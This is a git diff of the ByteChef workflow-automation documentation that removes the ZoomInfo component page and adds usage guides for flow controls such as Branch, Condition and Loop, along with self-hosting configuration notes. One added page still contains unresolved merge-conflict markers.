+<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
+    <iframe src="https://www.guidejar.com/embed/23d01159-c615-4e15-9592-edb2439c0da7?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/reference/components/zoominfo_v1.mdx b/docs/content/docs/reference/components/zoominfo_v1.mdx
deleted file mode 100644
index 091980fe53e..00000000000
--- a/docs/content/docs/reference/components/zoominfo_v1.mdx
+++ /dev/null
@@ -1,321 +0,0 @@
----
-title: "ZoomInfo"
-description: "ZoomInfo is a platform that provides companies with accurate contact data and sales insights to help them find and engage potential customers."
----
-
-
-Categories: Marketing Automation
-
-
-Type: zoominfo/v1
-
-<hr />
-
-
-
-
-## Connections
-
-Version: 1
-
-
-### Bearer Token
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| token | Token | STRING |  | true |
-
-
-
-
-
-
-<hr />
-
-
-## Actions
-
-
-### Enrich Company
-Name: enrichCompany
-
-`Enrich company details.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| companyId | Company ID | INTEGER | Unique ZoomInfo identifier for a company. | true |
-| companyName | Company Name | STRING | Company name. | false |
-| companyWebsite | Company Website | STRING | Company website URL in http://www.example.com format. | false |
-| companyPhone | Company Phone | STRING | Phone number of the company headquarters. | false |
-| companyStreet | Company Street | STRING | Street address for the company's primary address. | false |
-| companyCity | Company City | STRING | City for the company's primary address. | false |
-| companyState | Company State | STRING | State for the company's primary address. | false |
-| companyZipcode | Company Zip Code | STRING | Zip code or postal code for the company's primary address. | false |
-| companyCountry | Company Country | STRING | Country for the company's primary address. | false |
-| outputFields | Output Fields | ARRAY <details> <summary> Items </summary> [STRING] </details> | Fields you want to get from employee. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Enrich Company",
-  "name" : "enrichCompany",
-  "parameters" : {
-    "companyId" : 1,
-    "companyName" : "",
-    "companyWebsite" : "",
-    "companyPhone" : "",
-    "companyStreet" : "",
-    "companyCity" : "",
-    "companyState" : "",
-    "companyZipcode" : "",
-    "companyCountry" : "",
-    "outputFields" : [ "" ]
-  },
-  "type" : "zoominfo/v1/enrichCompany"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-### Enrich Contact
-Name: enrichContact
-
-`Enrich contact details.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| personId | Person ID | INTEGER | Unique ZoomInfo identifier for the contact. | true |
-| fullName | Full Name | STRING | Contact full name. | false |
-| firstName | First Name | STRING | Contact first name. | false |
-| lastName | Last Name | STRING | Contact last name. | false |
-| emailAddress | Email | STRING | Business or Personal email address for the contact in example@example.com format. | false |
-| phone | Phone | STRING | Contact direct or mobile phone number. | false |
-| jobTitle | Job Title | STRING | Contact title at current place of employment. | false |
-| externalURL | External URL | STRING | Social media URLs for the contact (e.g., Facebook, Twitter, LinkedIn). | false |
-| companyId | Company ID | INTEGER | Unique ZoomInfo identifier for the company. | false |
-| companyName | Company Name | STRING | Name of the company for for which the contact works, or has worked. | false |
-| outputFields | Output Fields | ARRAY <details> <summary> Items </summary> [STRING] </details> | Fields you want to get from employee. See documentation for available fields. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Enrich Contact",
-  "name" : "enrichContact",
-  "parameters" : {
-    "personId" : 1,
-    "fullName" : "",
-    "firstName" : "",
-    "lastName" : "",
-    "emailAddress" : "",
-    "phone" : "",
-    "jobTitle" : "",
-    "externalURL" : "",
-    "companyId" : 1,
-    "companyName" : "",
-    "outputFields" : [ "" ]
-  },
-  "type" : "zoominfo/v1/enrichContact"
-}
-```
-
-#### Output
-
-The output for this action is dynamic and may vary depending on the input parameters. To determine the exact structure of the output, you need to execute the action.
-
-
-
-
-
-
-### Search Company
-Name: searchCompany
-
-`Search company by specific criteria.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| companyName | Company Name | STRING | Company name. | false |
-| companyDescription | Company Description | STRING | Text description unique to the company you want to use as search criteria. | false |
-| companyType | Company Type | STRING | Company type (private, public, and so on). | false |
-| businessModel | Business Model | STRING | Search using Business Model (B2C, B2B, B2G) for a company. Default is All. | false |
-| country | Country | STRING | Country for the company's primary address. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Search Company",
-  "name" : "searchCompany",
-  "parameters" : {
-    "companyName" : "",
-    "companyDescription" : "",
-    "companyType" : "",
-    "businessModel" : "",
-    "country" : ""
-  },
-  "type" : "zoominfo/v1/searchCompany"
-}
-```
-
-#### Output
-
-
-
-Type: ARRAY
-
-
-Items Type: OBJECT
-
-
-#### Properties
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| id | STRING | The unique identifier for the resource. |
-| type | STRING | The type of the resource |
-| attributes | OBJECT <details> <summary> Properties </summary> &#123;STRING\(name), STRING\(city), STRING\(state), STRING\(country), STRING\(revenue), STRING\(employeeCount), STRING\(website), STRING\(logo), &#123;BOOLEAN\(underManagement), STRING\(purchaseDate)&#125;\(managementStatus)&#125; </details> | Response attributes for company search. |
-
-
-
-
-
-#### Output Example
-```json
-[ {
-  "id" : "",
-  "type" : "",
-  "attributes" : {
-    "name" : "",
-    "city" : "",
-    "state" : "",
-    "country" : "",
-    "revenue" : "",
-    "employeeCount" : "",
-    "website" : "",
-    "logo" : "",
-    "managementStatus" : {
-      "underManagement" : false,
-      "purchaseDate" : ""
-    }
-  }
-} ]
-```
-
-
-
-
-### Search Contact
-Name: searchContact
-
-`Search contact by specific criteria.`
-
-#### Properties
-
-|      Name       |      Label     |     Type     |     Description     | Required |
-|:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
-| emailAddress | Email | STRING | Work email address for the contact in example@example.com format. | false |
-| fullName | Full Name | STRING | Contact full name. | false |
-| firstName | First Name | STRING | Contact first name. | false |
-| lastName | Last Name | STRING | Contact last name. | false |
-| jobTitle | Job Title | STRING | Contact title at current place of employment. | false |
-| department | Department | STRING | Contact department at current place of employment. | false |
-| companyName | Company Name | STRING | Company name. | false |
-
-#### Example JSON Structure
-```json
-{
-  "label" : "Search Contact",
-  "name" : "searchContact",
-  "parameters" : {
-    "emailAddress" : "",
-    "fullName" : "",
-    "firstName" : "",
-    "lastName" : "",
-    "jobTitle" : "",
-    "department" : "",
-    "companyName" : ""
-  },
-  "type" : "zoominfo/v1/searchContact"
-}
-```
-
-#### Output
-
-
-
-Type: ARRAY
-
-
-Items Type: OBJECT
-
-
-#### Properties
-|     Name     |     Type     |     Description     |
-|:------------:|:------------:|:-------------------:|
-| id | STRING | The unique identifier for the resource. |
-| type | STRING | The type of the resource. |
-| attributes | OBJECT <details> <summary> Properties </summary> &#123;STRING\(firstName), STRING\(middleName), STRING\(lastName), STRING\(validDate), STRING\(lastUpdatedDate), STRING\(jobTitle), INTEGER\(contactAccuracyScore), STRING\(managementLevel), STRING\(school), BOOLEAN\(hasEmail), BOOLEAN\(hasSupplementalEmail), BOOLEAN\(hasDirectPhone), BOOLEAN\(hasMobilePhone), BOOLEAN\(hasCompanyIndustry), BOOLEAN\(hasCompanyPhone), BOOLEAN\(hasCompanyStreet), BOOLEAN\(hasCompanyState), BOOLEAN\(hasCompanyZipCode), BOOLEAN\(hasCompanyCountry), BOOLEAN\(hasCompanyRevenue), BOOLEAN\(hasCompanyEmployeeCount), BOOLEAN\(directPhoneDoNotCall), BOOLEAN\(mobilePhoneDoNotCall), &#123;BOOLEAN\(underManagement), STRING\(purchaseDate)&#125;\(managementStatus), &#123;INTEGER\(id), STRING\(name)&#125;\(company)&#125; </details> | Response attributes for contact search. |
-
-
-
-
-
-#### Output Example
-```json
-[ {
-  "id" : "",
-  "type" : "",
-  "attributes" : {
-    "firstName" : "",
-    "middleName" : "",
-    "lastName" : "",
-    "validDate" : "",
-    "lastUpdatedDate" : "",
-    "jobTitle" : "",
-    "contactAccuracyScore" : 1,
-    "managementLevel" : "",
-    "school" : "",
-    "hasEmail" : false,
-    "hasSupplementalEmail" : false,
-    "hasDirectPhone" : false,
-    "hasMobilePhone" : false,
-    "hasCompanyIndustry" : false,
-    "hasCompanyPhone" : false,
-    "hasCompanyStreet" : false,
-    "hasCompanyState" : false,
-    "hasCompanyZipCode" : false,
-    "hasCompanyCountry" : false,
-    "hasCompanyRevenue" : false,
-    "hasCompanyEmployeeCount" : false,
-    "directPhoneDoNotCall" : false,
-    "mobilePhoneDoNotCall" : false,
-    "managementStatus" : {
-      "underManagement" : false,
-      "purchaseDate" : ""
-    },
-    "company" : {
-      "id" : 1,
-      "name" : ""
-    }
-  }
-} ]
-```
-
-
-
-
-
-
diff --git a/docs/content/docs/reference/expressions.md b/docs/content/docs/reference/expressions.md
index 74cfab98b82..8e7b5117f79 100644
--- a/docs/content/docs/reference/expressions.md
+++ b/docs/content/docs/reference/expressions.md
@@ -1,8 +1,8 @@
 ---
+description: "ByteChef expressions guide. Learn to dynamically transform workflow data. Learn how to implement this in your ByteChef workflows."
 title: Expressions
-description: Expressions in ByteChef provide a powerful way to dynamically access, transform, and manipulate data within your workflows. They allow you to reference data from previous steps, perform calculations, implement conditional logic, and create dynamic configurations for your automation processes.
 ---
-# Expression Cheat Sheet
+
 
 ### Expressions and types
 
diff --git a/docs/content/docs/reference/flow-controls/branch_v1.mdx b/docs/content/docs/reference/flow-controls/branch_v1.mdx
index 3962557d6b7..e37dbc4210b 100644
--- a/docs/content/docs/reference/flow-controls/branch_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/branch_v1.mdx
@@ -1,14 +1,11 @@
 ---
-title: "Branch"
-description: "Executes one and only one branch of execution based on the `expression` value."
+description: "The Branch flow control executes one branch based on a single expression and only one branch of execution based on the `expression` value."
+title: Branch
 ---
 
+The Branch flow control evaluates an expression and routes workflow execution to a specific branch based on the result. Unlike flows like [Condition](/reference/flow-controls/condition_v1) which uses the true/false logic, the Branch flow control allows multiple named paths.
 
-
-Type: branch/v1
-
-<hr />
-
+**Type:** `branch/v1`
 
 ## Properties
 
@@ -17,6 +14,52 @@ Type: branch/v1
 | expression | Expression | STRING | Defines expression upon which evaluation the proper branch continues execution. | false |
 
 
+Executes one and only one branch of execution based on the `expression` value.
+
+## Usage
+
+To use the Branch flow control, follow these steps in the workflow UI editor:
+
+### Step 1: Add Branch to Your Workflow
+1. Select the **Branch** component from the **Flows** component panel
+2. Add it after the component whose output you want to evaluate
+
+![Branch Flow Control](/BranchComponent.png "Branch Flow Control Diagram")
+
+### Step 2: Configure the Expression
+1. In the **Expression** field under the **Properties** tab, enter the value to evaluate
+   - Example: `${script_1.risk_level}` or `${order_1.status}`
+2. This value will be matched against your branch names based on your data pill
+
+### Step 3: Create Branches
+1. Click the **+** button in the branch for each possible outcome
+2. Name each branch to match the expected values:
+   - `low_risk`, `medium_risk`, `high_risk`
+   - `approved`, `pending`, `rejected`
+![Branch Example](/branchexample.png "Branch Flow Control Diagram")
+
+3. Add components to each branch path
+
+
+> **Warning**
+> 
+> The default branch is automatically created and cannot be deleted. It handles any values that don't match your defined branches. While you can customize its behavior, the default branch itself cannot be removed from the Branch component.
+
+## Example Workflow
+
+```
+Typeform Trigger
+    ↓
+Risk Calculator Script (returns: "low_risk", "medium_risk", or "high_risk")
+    ↓
+Branch (expression: ${script_1})
+```
 
+You can refer to this [json file](https://www.npoint.io/docs/27fea2085acb49fd5146) to see the Branch flow control in action.
 
+## Best practices for using Branch
 
+- Branch names must **exactly match** the expression value (case-sensitive)
+- Use lowercase with underscores for consistency
+- Always include a default branch
+- Test with all possible values before deploying
\ No newline at end of file
diff --git a/docs/content/docs/reference/flow-controls/condition_v1.mdx b/docs/content/docs/reference/flow-controls/condition_v1.mdx
index be35fd66a71..dd10b7c3fc4 100644
--- a/docs/content/docs/reference/flow-controls/condition_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/condition_v1.mdx
@@ -1,13 +1,11 @@
 ---
-title: "Condition"
-description: "Directs a stream based on true/false results of comparisons."
+description: "Condition flow control. Direct workflow based on true/false results. Learn how to implement this in your ByteChef workflows."
+title: Condition
 ---
 
+The Condition flow control evaluates logical expressions and routes workflow execution to one of two paths: true or false. It's perfect for binary decisions like threshold checks, validation, or simple yes/no logic.
 
-
-Type: condition/v1
-
-<hr />
+**Type**: `condition/v1`
 
 
 ## Properties
@@ -18,7 +16,113 @@ Type: condition/v1
 | conditions | OR Conditions | ARRAY <details> <summary> Items </summary> [[&#123;STRING\(type), BOOLEAN\(value1), STRING\(operation), BOOLEAN\(value2)&#125;\($boolean), &#123;STRING\(type), DATE_TIME\(value1), STRING\(operation), DATE_TIME\(value2)&#125;\($dateTime), &#123;STRING\(type), NUMBER\(value1), STRING\(operation), NUMBER\(value2)&#125;\($number), &#123;STRING\(type), STRING\(value1), STRING\(operation), STRING\(value2), STRING\(value2)&#125;\($string)]] </details> | OR Condition array that contains AND Condition arrays | false |
 | expression | Expression | STRING | The raw expression. | true |
 
+## Usage
+
+To use the Condition flow control, follow these steps in the workflow UI editor:
+
+### Step 1: Add Condition to Your Workflow
+1. Select the **Condition** component from the **Flows** component panel
+2. The condition will create two paths: **True** and **False**
+
+### Step 2: Choose Expression Type
+
+Before moving forward, refer to this guide to learn more about [expressions](/reference/expressions). In the guide, you'll learn everything you need to know about the available operations and examples. 
+
+The **Raw Expression** toggle determines how you define your condition:
+#### If Raw Expression is **TRUE** (enabled):
+You write a direct expression in the **Expression** field:
+- Example: `${order_1.total} > 1000` (Ensure data expressions like `{order_1.total}` are referenced from the data pills)
+- Example: `${user_1.verified} == true && ${user_1.age} >= 18`
+
+Note that when working with certain expressions, you may need to refer to the data pills available in the workflow context. Data pills may be based on data generated from components or triggers or from a manually configured source in a component.
+
+#### If Raw Expression is **FALSE**:
+You use the visual condition builder with **OR Conditions** that contain **AND Condition** arrays:
+
+1. Click **Add OR Condition** to create a new OR group
+2. Within each OR group, click **Add AND Condition** to add conditions
+3. Select expression type for each condition:
+   - **Boolean Expression** - True/false comparisons
+   - **Date Time Expression** - Date/time comparisons
+   - **Number Expression** - Numeric comparisons
+   - **String Expression** - Text comparisons
+
+### Step 3: Configure Your Condition
+
+**Using Raw Expression (Raw Expression = TRUE):**
+```
+Example Expression: ${order_1.total} > 1000 && ${order_1.status} == "pending"
+```
+
+**Using Condition Builder (Raw Expression = FALSE):**
+
+**For Number Expression:**
+1. Select **Number Expression** as type
+2. **Value 1**:  Select the number value to compare with the second one.
+3. **Operation**: Select the operation type. In ByteChef,we have different operation types such as:
+   - Greater
+   - Less
+   - Equal to
+   - Not equals
+   - Greater or equals
+   - Less or equals
+   - Empty
+
+**For String Expression:**
+1. Select **String Expression** as type
+2. **Value 1**: Could be any string value based on an expression. For example:`${user_1.email}` - this is the string value to compare with the second one.
+3. **Operation**: Select operation to decide how to compare the values. In ByteChef, we have different operation types such as:
+   - Contains
+   - Starts with
+   - Ends with
+   - Equals
+   - Not equals
+   - Regex
+   - Not Contains
+   - Equals ignore case
+
+**For Boolean Expression:**
+1. Select **Boolean Expression** as type
+2. **Value 1**: Select `true` or `false` depending on your requirement
+3. **Operation**: Select `equals` or `not equals`
+4. **Value 2**: Also slect `true` or `false` based on the operation you selected
+
+**For Date & Time Expression:**
+1. Select **Date & Time Expression** as type
+2. **Value 1**: Select the date/time value to compare with the second one
+3. **Operation**: Select comparison operation where you want to map the data
+4. **Value 2**: Select the date/time value to compare with the first one
+
+### Step 4: Build True and False Paths
+1. Add components to the **True** path for when condition evaluates to true
+2. Add components to the **False** path for when it evaluates to false
+
+You can refer to this [json file](https://www.npoint.io/docs/73d362abb3b155274638) to see the Condition flow control in action.
+
+## Available Operations
 
+### String Operations
+- `equals` - Exact match
+- `not equals` - Not equal to
+- `equals ignore case` - Case-insensitive match
+- `regex` - Regular expression match
+- `contains` - Value 1 includes Value 2
+- `not contains` - Value 1 doesn't include Value 2
+- `starts with` - Value 1 begins with Value 2
+- `ends with` - Value 1 ends with Value 2
 
+### Number Operations
+- `equals` - Exactly equal
+- `not equals` - Not equal
+- `greater than` - Value 1 > Value 2
+- `less than` - Value 1 < Value 2
+- `greater than or equal` - Value 1 \>= Value 2
+- `less than or equal` - Value 1 \<= Value 2
 
+### Boolean Operations
+- `equals` - Value equals specified boolean
+- `not equals` - Value does not equal specified boolean
 
+### Date Time Operations
+- `after` - Value 1 is after Value 2
+- `before` - Value 1 is before Value 2
\ No newline at end of file
diff --git a/docs/content/docs/reference/flow-controls/each_v1.mdx b/docs/content/docs/reference/flow-controls/each_v1.mdx
index 0d53baf7daa..2df7afb83a1 100644
--- a/docs/content/docs/reference/flow-controls/each_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/each_v1.mdx
@@ -1,13 +1,12 @@
 ---
-title: "Each"
-description: "Iterates over each item in list, in parallel. Note, that since it iterates over each item in parallel, there is no guarantee of completion order."
+description: "Each flow control. Iterate over list items in parallel. Learn how to implement this in your ByteChef workflows."
+title: Each
 ---
 
+The Each flow control applies a function to each item in a list, in parallel. Since it processes items concurrently, there is no guarantee that items will complete in order.
 
 
-Type: each/v1
-
-<hr />
+**Type**: `each/v1`
 
 
 ## Properties
@@ -16,7 +15,6 @@ Type: each/v1
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
 | items | List of items | ARRAY <details> <summary> Items </summary> [] </details> | List of items to iterate over. | false |
 
+## Coming Soon
 
-
-
-
+Check back soon for complete usage instructions and examples.
diff --git a/docs/content/docs/reference/flow-controls/fork-join_v1.mdx b/docs/content/docs/reference/flow-controls/fork-join_v1.mdx
index 86cfb90076d..c53bf13916c 100644
--- a/docs/content/docs/reference/flow-controls/fork-join_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/fork-join_v1.mdx
@@ -1,16 +1,14 @@
 ---
-title: "Fork/Join"
-description: "Executes each branch in parallel (list of tasks) as a separate and isolated sub-flow. Branches are executed internally in sequence."
+description: "Fork-Join flow control. Execute branches in parallel. Learn how to implement this in your ByteChef workflows."
+title: Fork/Join
 ---
 
 
-
-Type: fork-join/v1
-
-<hr />
-
-
+The Fork/Join flow control creates two parallel branches, where each branch contains its own sequence of tasks. Each branch executes its tasks sequentially, but both branches run in parallel with each other.
 
 
+**Type**: `fork-join/v1`
 
+## Coming Soon
 
+Check back soon for complete usage instructions and examples.
\ No newline at end of file
diff --git a/docs/content/docs/reference/flow-controls/loop-break_v1.mdx b/docs/content/docs/reference/flow-controls/loop-break_v1.mdx
index a6c4c016c34..ca7b163229f 100644
--- a/docs/content/docs/reference/flow-controls/loop-break_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/loop-break_v1.mdx
@@ -1,16 +1,10 @@
 ---
-title: "Loop Break"
-description: "Breaks the loop execution."
+description: "Loop Break for ByteChef. Flow control component to break out of loops and manage workflow execution conditionally."
+title: Loop Break
 ---
 
-
-
 Type: loopBreak/v1
 
-<hr />
-
-
-
-
-
+## Coming Soon
 
+Check back soon for complete usage instructions and examples.
diff --git a/docs/content/docs/reference/flow-controls/loop_v1.mdx b/docs/content/docs/reference/flow-controls/loop_v1.mdx
index d379a1c4c5f..9eb3de0e473 100644
--- a/docs/content/docs/reference/flow-controls/loop_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/loop_v1.mdx
@@ -1,14 +1,11 @@
 ---
-title: "Loop"
-description: "Loops sequentially over list of items."
+description: "Loop flow control. Iterate sequentially through list items. Learn how to implement this in your ByteChef workflows."
+title: Loop
 ---
 
+The Loop flow control repeats a set of actions either for each item in a list or continuously until stopped. This flow control is great for processing large amounts of data that can be processed in batches, or used for creating retry logic.
 
-
-Type: loop/v1
-
-<hr />
-
+**Type**: `loop/v1`
 
 ## Properties
 
@@ -17,7 +14,37 @@ Type: loop/v1
 | items | List of items | ARRAY <details> <summary> Items </summary> [] </details> | List of items to iterate over. | false |
 | loopForever | Loop Forever | BOOLEAN <details> <summary> Options </summary> <span>true</span>, <span>true</span> </details> | Should loop iterate until condition set by 'Loop Break' statement is met. | false |
 
+## Usage
+
+To use the Loop flow control, follow these steps in the workflow UI editor:
+
+### Step 1: Add Loop to Your Workflow
+1. Select the **Loop** component from the **Flows** component panel
+2. Add it at the point where you need repeated execution
+
+
+### Step 2: Choose Loop Mode
+
+**Option A: Loop Forever (Continuous Execution)**
+1. In the **Properties** tab, set **Loop Forever** to `true`
+2. No expression needed - the loop runs continuously
+
+**Option B: Iterate Over List (Collection Processing)**
+1. In the **Properties** tab, set **Loop Forever** to `false`
+2. In the **List of Items to Iterate Over** field, select your data source based on your available data pills:
+   - Example: `${googleSheets_1.rows}` to iterate over spreadsheet rows
+   - Example: `${salesforce_1.accounts}` to process account records
+   - Example: `${webhook_1.orders}` to handle multiple orders
 
 
+### Step 3: Add Components Inside the Loop
+1. Click the **+** button inside the loop body
+2. Add the components you want to execute repeatedly
+3. When iterating over a list, reference the current item using `${item}`
+   - Access item properties via data pills based on configuration: `${item.email}`, `${item.status}`, etc.
 
+> **Warning**
+> 
+> When `loopForever` is set to `true`, ensure your workflow has proper exit logic to avoid infinite execution. Without completion conditions, the loop will continue indefinitely and may consume resources or exceed execution time limits.
 
+You can refer to this [json file](https://www.npoint.io/docs/73d362abb3b155274638) to see the Loop flow control in action.
\ No newline at end of file
diff --git a/docs/content/docs/reference/flow-controls/map_v1.mdx b/docs/content/docs/reference/flow-controls/map_v1.mdx
index e36d7811989..d8d0fbcb3ae 100644
--- a/docs/content/docs/reference/flow-controls/map_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/map_v1.mdx
@@ -1,14 +1,10 @@
 ---
-title: "Map"
-description: "Produces a new collection of values by mapping each value in list through defined task, in parallel. When execution is finished on all items, the `map` task will return a list of execution results in an order which corresponds to the order of the source list."
+description: "Map flow control. Execute tasks on list items in parallel. Learn how to implement this in your ByteChef workflows."
+title: Map
 ---
 
-
-
 Type: map/v1
 
-<hr />
-
 
 ## Properties
 
@@ -16,7 +12,6 @@ Type: map/v1
 |:---------------:|:--------------:|:------------:|:-------------------:|:--------:|
 | items | List of items | ARRAY <details> <summary> Items </summary> [] </details> | List of items to iterate over. | false |
 
+## Coming Soon
 
-
-
-
+Check back soon for complete usage instructions and examples.
diff --git a/docs/content/docs/reference/flow-controls/parallel_v1.mdx b/docs/content/docs/reference/flow-controls/parallel_v1.mdx
index 5779e847cc7..d81c7effa11 100644
--- a/docs/content/docs/reference/flow-controls/parallel_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/parallel_v1.mdx
@@ -1,16 +1,10 @@
 ---
-title: "Parallel"
-description: "Run collection of tasks in parallel, without waiting until the previous function has completed."
+description: "Parallel flow control. Run collection of tasks in parallel. Learn how to implement this in your ByteChef workflows."
+title: Parallel
 ---
 
-
-
 Type: parallel/v1
 
-<hr />
-
-
-
-
-
+## Coming Soon
 
+Check back soon for complete usage instructions and examples.
\ No newline at end of file
diff --git a/docs/content/docs/reference/flow-controls/subflow_v1.mdx b/docs/content/docs/reference/flow-controls/subflow_v1.mdx
index d8d4074d2a2..ec4f6efe373 100644
--- a/docs/content/docs/reference/flow-controls/subflow_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/subflow_v1.mdx
@@ -1,14 +1,10 @@
 ---
-title: "Subflow"
-description: "Starts a new job as a sub-flow of the current job. Output of the sub-flow job is the output of the task."
+description: "Subflow flow control. Start a job as sub-flow of current. Learn how to implement this in your ByteChef workflows."
+title: Subflow
 ---
 
-
-
 Type: subflow/v1
 
-<hr />
-
 
 ## Properties
 
@@ -17,7 +13,6 @@ Type: subflow/v1
 | workflowId | Workflow Id | STRING | The id of sub-workflow to execute. | false |
 | inputs | Inputs | OBJECT <details> <summary> Properties </summary> &#123;&#125; </details> | The inputs of a workflow. | false |
 
+## Coming Soon
 
-
-
-
+Check back soon for complete usage instructions and examples.
diff --git a/docs/content/docs/reference/flow-controls/wait-for-approval_v1.mdx b/docs/content/docs/reference/flow-controls/wait-for-approval_v1.mdx
index 9ea5aab95a1..c10664bd726 100644
--- a/docs/content/docs/reference/flow-controls/wait-for-approval_v1.mdx
+++ b/docs/content/docs/reference/flow-controls/wait-for-approval_v1.mdx
@@ -1,16 +1,10 @@
 ---
-title: "Wait for Approval"
-description: "Allows a person to review and either approve or reject requests."
+description: "Wait for Approval for ByteChef. Flow control component to pause workflows and implement human approval processes."
+title: Wait for Approval
 ---
 
-
-
 Type: waitForApproval/v1
 
-<hr />
-
-
-
-
-
+## Coming Soon
 
+Check back soon for complete usage instructions and examples.
\ No newline at end of file
diff --git a/docs/content/docs/reference/index.mdx b/docs/content/docs/reference/index.mdx
index dc8c4f42f22..ed77e8693d4 100644
--- a/docs/content/docs/reference/index.mdx
+++ b/docs/content/docs/reference/index.mdx
@@ -1,14 +1,12 @@
 ---
+description: "ByteChef Reference. Comprehensive documentation for components, flow controls, expressions, and workflow customization."
 title: Overview
-description: The Reference section provides comprehensive documentation for all ByteChef components and flow controls.
 ---
 
-## Overview [toc]
-
 It includes detailed information on the following:
 
 - **Components**: Descriptions and usage instructions for each ByteChef component, including properties, actions, and outputs.
 - **Flow Controls**: Guides on using flow control mechanisms within ByteChef to manage the execution of workflows.
 - **Expressions**: Guides on using expressions within ByteChef to manage the execution of workflows.
 
-This section is designed to help users understand and utilize ByteChef's capabilities effectively, ensuring they can build and customize workflows to meet their specific needs.
+This section is designed to help users understand and utilize ByteChef's capabilities effectively, ensuring they can build and customize workflows to meet their specific needs.
\ No newline at end of file
diff --git a/docs/content/docs/self-hosting/configuration/configure-instance.md b/docs/content/docs/self-hosting/configuration/configure-instance.md
index 0af5aa4bed0..4e7e3a1b498 100644
--- a/docs/content/docs/self-hosting/configuration/configure-instance.md
+++ b/docs/content/docs/self-hosting/configuration/configure-instance.md
@@ -1,8 +1,85 @@
 ---
+description: "ByteChef Configure Instance. Learn to configure your ByteChef deployment with environment variables and settings."
 title: Configure Instance
-description: Learn how to configure your ByteChef instance
 ---
 
-# Coming Soon
+<<<<<<< HEAD
+ByteChef configuration controls how your self-hosted instance behaves, connects to external services, and runs in different environments. All configuration is applied through environment variables and is evaluated when the instance starts.
+
+This page explains how configuration works, where it's applied, and how it relates to other deployment docs.
+
+
+## How Configuration Works
+
+ByteChef is configured entirely using environment variables.
+
+These variables define:
+- Database connections
+- Security and authentication behavior
+- Public URLs and networking
+- Email delivery
+- Feature flags
+- Observability settings
+
+Configuration is read when ByteChef starts. If you change a configuration value, you need to restart the instance for changes to take effect.
+
+## Where Configuration Is Applied
+
+Where you define configuration depends on how ByteChef is deployed.
+
+### Docker / Docker Compose
+
+Environment variables are defined in `docker-compose.yml` or passed at runtime using the `-e` flag. Secrets should be injected using Docker secrets or external secret managers.
+
+**Example:**
+```yaml
+services:
+  bytechef:
+    environment:
+      - BYTECHEF_DATASOURCE_URL=jdbc:postgresql://postgres:5432/bytechef
+      - BYTECHEF_PUBLIC_URL=https://bytechef.example.com
+```
+
+### Kubernetes
+
+Environment variables are defined using ConfigMaps for non-sensitive values and Secrets for credentials, tokens, and keys. Changes require a rollout restart of the deployment.
+
+**Example:**
+```yaml
+envFrom:
+  - secretRef:
+      name: bytechef-secrets
+  - configMapRef:
+      name: bytechef-envs
+```
+
+Other container-based platforms follow the same pattern: configuration is injected at runtime using environment variables.
+
+## Configuration Scope
+
+Configuration affects multiple parts of the system:
+- Application behavior and limits
+- Authentication and session handling
+- Encryption and credential storage
+- Network and URL resolution
+- Email notifications
+- Feature availability
+- Metrics, logs, and tracing
+
+> **Note**
+> 
+> This page does not list individual configuration options. For a complete reference of all available variables, see the [Environment Variables](/self-hosting/configuration/environment-variables) page.
+
+## Security Best Practices
+
+- Don't hardcode secrets directly in configuration files
+- Use secret management tools provided by your platform (Docker secrets, Kubernetes Secrets, Vault)
+- Treat all environment variables as sensitive input
+- Store encryption keys securely and back them up
+- Changing encryption-related configuration can make existing data unreadable
+
+Detailed configuration options are documented in [Environment Variables](/self-hosting/configuration/environment-variables)
+=======
 
 Documentation for configuring your ByteChef instance is coming soon. Please check back later!
+>>>>>>> 002576c3f5 (docs: Update Docker deployment documentation and clean up files)
diff --git a/docs/content/docs/self-hosting/configuration/environment-variables.md b/docs/content/docs/self-hosting/configuration/environment-variables.md
index 01de7adf844..d7d8d18e442 100644
--- a/docs/content/docs/self-hosting/configuration/environment-variables.md
+++ b/docs/content/docs/self-hosting/configuration/environment-variables.md
@@ -1,6 +1,6 @@
 ---
+description: "ByteChef Environment Variables. Complete reference for configuring AI, cloud, database, and application settings."
 title: Environment Variables
-description: Configuration options for ByteChef through environment variables
 ---
 
 ByteChef can be configured using environment variables. This page documents all available environment variables, organized by category.
@@ -141,6 +141,13 @@ ByteChef can be configured using environment variables. This page documents all
 |---|---|---|
 | `BYTECHEF_HELP_HUB_ENABLED` | Enable or disable the help hub | `true` |
 
+## Observability Configuration
+
+| Environment Variable | Description | Default Value |
+|---|---|---|
+| `BYTECHEF_OBSERVABILITY_LOKI_APPENDER_LEVEL` | Log level for Loki appender | `ALL` |
+| `BYTECHEF_OBSERVABILITY_LOKI_APPENDER_HTTP_URL` | Loki HTTP URL | `http://localhost:3100/loki/api/v1/push` |
+
 ## Mail Configuration
 
 | Environment Variable | Description | Default Value |
@@ -214,11 +221,11 @@ System administrator is used for accessing protected data reachable through /act
 |---|---|---|
